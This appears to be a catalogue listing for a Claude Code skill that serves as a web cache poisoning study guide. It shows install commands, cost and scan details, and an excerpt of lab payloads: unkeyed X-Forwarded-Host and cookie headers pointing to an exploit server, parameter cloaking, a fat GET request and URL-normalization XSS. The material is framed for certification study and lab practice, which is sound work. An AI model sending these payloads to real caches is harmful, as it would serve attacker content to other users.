Web Cache Poisoning — Complete Deep Dive

Web Cache Poisoning — Complete Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 28 tokens per session (1,302 once invoked), scanned A, a copy of Server-Side Template Injection — Complete Deep Dive, Apache-2.0.

A security-testing study guide for web cache poisoning, a vulnerability where an attacker causes a shared cache to store a harmful response. It uses PortSwigger lab examples and request payloads.

In plain words
What is it for?
It is for BSCP certification study, bug-bounty testing, and practicing cache-poisoning techniques with Burp Suite.
Why use it?
It helps testers find cache behavior that can affect other users and practice bypassing protections in controlled labs.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit It is for BSCP certification study, bug-bounty testing, and practicing cache-poisoning techniques with Burp Suite.

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Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/web-cache-poisoning

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

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Per session 28 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,302 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 89% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00028 $0.01302
Opus 5 $0.00014 $0.00651
Sonnet 5 $0.00006 $0.00260
Haiku 4.5 $0.00003 $0.00130

Measured 8d ago against content hash e52a03674740, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

Web Cache Poisoning — Complete Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]
Origin

This is a copy

89% identical to Server-Side Template Injection — Complete Deep Dive — 90 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/bug-hunting/deep-dive-labs/web-cache-poisoning/SKILL.md · 160 lines

How it starts

The opening of the file, as written. The whole thing — 160 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Web Cache Poisoning — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Unkeyed header 🟡 PRACTITIONER

GET / HTTP/1.1
X-Forwarded-Host: EXPLOIT-SERVER

Cache stores response with your malicious host in script/link tags.

Lab 2: Unkeyed cookie 🟡 PRACTITIONER

GET / HTTP/1.1
Cookie: fehost=EXPLOIT-SERVER"

Lab 3: Multiple headers 🟡 PRACTITIONER

Combine X-Forwarded-Host + X-Forwarded-Scheme: http to force redirect to your server.

Lab 4: Unknown header 🟡 PRACTITIONER

Use Param Miner to discover: X-Host, X-Forwarded-Server, etc.

Lab 5: Unkeyed query string 🟡 PRACTITIONER

Query string excluded from cache key → add XSS in query, all users get poisoned response.

Lab 6: Unkeyed query parameter 🟡 PRACTITIONER

Specific parameter excluded from cache key (e.g., utm_content). Inject XSS there.

Lab 7: Parameter cloaking 🟡 PRACTITIONER

/js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1)

Backend parser sees second callback, cache key only includes first.

Lab 8: Fat GET request 🟡 PRACTITIONER

GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
Content-Length: 30

callback=alert(1)

GET with body — backend reads body param, cache uses URL param as key.

Lab 9: URL normalization 🟡 PRACTITIONER

/random</p><script>alert(1)</script><p>foo — browser URL-encodes, cache doesn't → poisoned.

Read the full file on GitHub · 160 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 160 lines · 28 tokens per session scan A e52a03674740

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Web Cache Poisoning — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 28 tokens to every session and 1,302 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 89% identical to Server-Side Template Injection — Complete Deep Dive, differing in 90 lines, and is treated as a copy.